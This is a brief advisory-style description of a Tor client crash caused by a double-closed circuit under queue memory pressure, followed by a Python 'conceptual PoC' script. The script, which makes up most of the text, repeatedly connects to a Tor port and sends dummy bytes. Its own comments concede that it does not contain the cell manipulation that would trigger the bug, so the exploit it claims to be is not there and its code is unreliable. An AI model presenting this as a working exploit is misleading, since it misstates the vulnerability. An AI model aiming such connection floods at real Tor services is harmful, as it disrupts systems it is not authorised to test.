Tor before 0.4.9.7, when circuit queue memory pressure exists, can experience a client crash because of a double close of a circuit, aka TROVE-2026-009.
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-44601 (Tor Double Close Crash)
# This script attempts to simulate memory pressure conditions.
# Note: Successful exploitation requires specific timing and internal state.
import socket
import time
def simulate_circuit_pressure(target_host, target_port):
"""
Simulates creating connections to induce memory pressure.
In a real scenario, specific cell manipulation triggers the double close.
"""
print(f"[*] Attempting to target {target_host}:{target_port}")
# Simulate rapid connection attempts to fill circuit queue
for i in range(100):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.5)
s.connect((target_host, target_port))
# Sending dummy data that might resemble circuit creation hints
# Actual payload requires deep knowledge of Tor protocol cells
payload = b"\x00\x01\x02\x03"
s.send(payload)
s.close()
except Exception as e:
pass
print("[+] Simulation finished. Check if Tor process has crashed.")
if __name__ == "__main__":
# Replace with actual Tor IP and Port (e.g., 127.0.0.1:9050)
simulate_circuit_pressure("127.0.0.1", 9050)